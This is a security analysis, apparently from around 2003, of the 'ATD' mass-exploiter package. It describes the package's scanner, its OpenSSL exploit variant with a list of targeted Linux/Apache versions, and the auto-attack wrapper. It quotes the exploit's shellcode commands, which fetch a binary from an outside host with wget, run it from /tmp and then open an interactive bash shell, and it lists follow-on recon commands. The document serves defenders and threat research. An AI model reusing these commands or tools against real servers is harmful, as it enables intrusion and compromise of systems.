ATD – Mass Exploiter
We chose the term mass exploiter rather than autorooter, primarily because the software is not fully automated, and when run does not yield a root shell. It is however a powerful engine for mass-hacking webservers, and is quite dangerous due to the wide number of Linux distributions it can compromise in a single run. We have prefixed it with the name ATD simply because that is the name of the tar archive in which it is packaged. We have chosen not to do an in-depth analysis of the authors affiliation with any particular hacking group; however suffice it to say the origin of the package and at least one of the authors is Romania, and there are several hacking groups from that country currently defacing countless Linux-hosted websites worldwide. This mass exploiter may be at the root of that activity.

Here are the details of the package:

Files contained in the package:

drwxr-xr-x 500/500           0 2002-11-21 05:57:55 atd/
-rwxr-xr-x root/root     30971 2002-11-20 00:02:19 atd/mass
-rwxr-xr-x root/root     27702 2002-11-20 02:47:40 atd/osslmass2
-rwxr-xr-x root/root     23424 2002-11-21 05:57:57 atd/vuln
-rwxr-xr-x root/1001    124850 2002-11-21 05:46:53 atd/openssl-too

Md5sums of files inside the package:

c81b35baa84d9468536522c729498403  mass
4d92ff9b27ffcb5acdd5162d847a9546  openssl-too
2b7d8b805512d6c7331bdbc38b647690  osslmass2
c6cb9fe3eaae673c880cf2b8461368f7  vuln

File Functions and Characteristics
mass – This is the scanner component. It launches into the background, saving its process id in “mass.pid”. Given a range of IP addresses, it will attempt to connect to each one on tcp port 443. If a listening server is found, it will then connect on port 80 and try to determine the server version from the HTTP headers. It saves information in “mass.log” about each host it finds.

When run, the program gives the following usage output:

: Mass scanner - by Silviu

: This is an SSL IP scanner that can be placed into background
: it keeps logs of each ip found, and the apache/*nix version

USAGE: ./mass [OPTIONS] <ip-mask>
The <ip-mask> is the class to scan (eg: 192.168.1.* 192.168.*.* 192.*.*.*)

The options are:
  -p --port=<#> - the port to check (default 443)
  -s --sockets=<#> - # of sockets to use (default 300)
  -t --connect-timeout=<#> - connect timeout in seconds (default 10)
  -T --receive-timeout=<#> - receive timeout in seconds (default 40)
  -l --log=<file> - log file (default mass.log)
  -b --background - fall into background
  -c --clean-log - log only the ips.
  -h --help - display this help and exit.

Examples:
  ./mass 192.168.0.1
  ./mass 192.168.10.* --sockets=100
  ./mass 192.168.*.* -s 200 --background
  ./mass 192.*.*.* -s 800

Here is tcpdump output of the request on port 80:

11:26:20.494868 192.168.1.2.38735 > 192.168.1.8.80: P 1:27(26) ack 1 win 5488 
<nop,nop,timestamp 52028296 4220465> (DF)
0x0000   4500 004e 819f 4000 4006 35b0 c0a8 0102        E..N..@.@.5.....
0x0010   c0a8 0108 974f 0050 dfc3 6216 79e8 9783        .....O.P..b.y...
0x0020   8018 1570 4da6 0000 0101 080a 0319 e388        ...pM...........
0x0030   0040 6631 4745 5420 2f73 756d 7468 696e        .@f1GET./sumthin
0x0040   2048 5454 502f 312e 300d 0a0d 0a00             .HTTP/1.0.....

The scanned host would have a request similar to the following logged in its httpd access log:

www.example.com xxx.xxx.xxx.xxx - - [04/Apr/2003:13:44:28 -0500]
 "GET /sumthin HTTP/1.0" 404 282 "-" "-"

One can only speculate as to why the author of the scanner used such an identifiable trademark when a simple “HEAD /” or “GET /” would have achieved the same result while blending in with the ordinary requests a webserver might see.

openssl-too – This is the actual exploit, a variant of the “openssl-too-open” exploit by Solar Eclipse. For all intents and purposes, it is the same exploit code, except the output has been translated to Romanian, the authorship line has been changed, and the command line downloads and runs the an executable from the packager's site before launching a shell.

: OpenSsl Exploit ... Folositi-l Pe Riscul Vostru
  by Silviu <Silviu@Silviu.ph>

Folosire: ./openssl-too [Optiuni] <host>
  -a <arch>          Arhitecturã (default is 0x00)
  -p <port>          SSL port (default is 443)
  -c <N>             Numãr Minim De Conexiuni (default is 30)
  -m <N>             Numãr Maxim De Conexiuni (default is 50)
  -v                 Verbose Mode

Arhitecturi:
        0x00 - Gentoo (apache-1.3.24-r2)
        0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
        0x02 - Slackware 7.0 (apache-1.3.26)
        0x03 - Slackware 8.1-stable (apache-1.3.26)
        0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
        0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
        0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
        0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
        0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
        0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
        0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
        0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
        0x0c - SuSE Linux 7.0 (apache-1.3.12)
        0x0d - SuSE Linux 7.1 (apache-1.3.17)
        0x0e - SuSE Linux 7.2 (apache-1.3.19)
        0x0f - SuSE Linux 7.3 (apache-1.3.20)
        0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x11 - SuSE Linux 8.0 (apache-1.3.23)
        0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Example: ./openssl-too -a 0x01 -v localhost
          ./openssl-too -p 1234 192.168.0.1 -c 40 -m 80

The shellcode executes the following commands as the apache user on the victim host:

TERM=xterm
cd /tmp/
wget -dbc silviu.250free.com/x/qd >>/dev/null
sleep 8
rm -rf wget*
chmod +x qd
./qd >>/dev/null
rm -rf /tmp/qd
export TERM=xterm
exec bash -i

The site in the wget command above has already been deleted, so we are unable to say for sure what the “qd” binary does. However, it is fairly likely that it is the server component of the “Q” trojan by Mixter. For more information, see the analysis of Q by Craig Baltes.

After downloading and launching qd, the exploit forks an interactive bash shell as does the standard openssl-too-open exploit. However, in this shell five more commands are run automatically to gather system info before releasing interactive control to the attacker. This also deviates from the normal openssl-too-open behavior. The commands are as follows:

uname -a
cat /etc/issue
cat /etc/*-release
id
w

At this point the attacker would likely download a local root exploit from another compromised system and fully own the box.

osslmass2 – This program reads mass.log and runs openssl-too with the proper arguments against all the vulnerable hosts listed. An attacker can run the “mass” program, leave, come back hours later and run this program to gain access to host after host with no real effort.

Usage output is as follows:

: osslmass2.c - by Inkubus, the credits goes to Solar Eclipse and Phill
: osslmass2 tries to exploit a `mass.log' and attacks vulnerable IPs

USAGE: ./osslmass2 <log-file>

vuln – This program reads mass.log and prints out vulnerable hosts.

: vuln.c - by Silviu
: vuln analizes a `mass.log' and displays the vulnerable IPs
:                                     and the server version

USAGE: ./vuln <log-file>

The following Snort signature has been part of the default Snort ruleset for several months and will detect a successful attack from this exploit or any of the other existing worms/exploits that utilize the openssl-too-open.c code as a base:

Although Rst.b is not the primary focus of this paper, we have developed Snort signatures for it as well, because the standard Snort rulebase is lacking any signatures for this backdoor which has been widely deployed for over a year.

This Snort signature will alert when someone scans your network looking for Linux/Rst.b infected hosts:

This Snort signature will alert when a remote host attempts to run a shell command using the Rst.b backdoor, whether the remote host is actually infected or not:

This Snort signature will alert when a host on your network replies to a scan for Linux/Rst.b, indicating an infection:

The signatures above are only for Snort version 1.9 and above.

http://www.lurhq.com/mass.dasm.txt

http://www.lurhq.com/openssl-too.dasm.txt

http://www.lurhq.com/osslmass2.dasm.txt

http://www.lurhq.com/vuln.dasm.txt

Source code for the files in this package is not known to be publicly available except for openssl-too, which is really openssl-too-open.c with a few minor changes.

It is unknown why the files are infected with the Rst.b virus, but all copies of this package we have found in the wild were infected. The script kiddies who use this package probably do not know it is infected and it is likely infecting all their other tools as well. The Rst.b virus may leave a backdoor running on systems it infects, but not always. This is something that the two Rst.b analyses referenced below have overlooked. In order for the backdoor to be activated, the virus must be run as root and the infected system must not be using devfs. This is because devfs causes file creation in the /dev directory to fail with “permission denied”. When the virus is unable to create the files /dev/hdx1 and /dev/hdx2 it exits before starting the backdoor code. However, since many of the exploit targets do not use devfs by default, it is probable that the author of Rst.b has gained potential root access on tens of thousands of systems over the past year and a half using the work of oblivious lower-level script-kiddies.

Baltes, Craig. “Re: Covert Channels”.
http://lists.jammed.com/pen-test/2002/10/0027.html. October 17, 2002.

Baltes, Craig. “GCIA Practical Assignment.”
http://www.giac.org/practical/GCIA/Craig_Baltes_GCIA.doc. October 11, 2002.

Eclipse, Solar. “openssl-too-open.c.”
http://packetstormsecurity.nl/filedesc/openssl-too-open.tar.html. September 17, 2002.

Lee, Chia Ling. “Port 443 and Openssl-too-open.”
http://www.giac.org/practical/GCIH/Chia_Ling_Lee_GCIH.pdf. November 29, 2002.

Lockdown. “RST-variant analysis.”
http://www.lockeddown.net/rst-expl.txt. December 19, 2001.

“Qualys Security Alert QSA-2002-01-01 Remote Shell Trojan b (RST.b).”
http://www.qualys.com/alert/QSA-2002-01-01.pdf. January 9, 2002.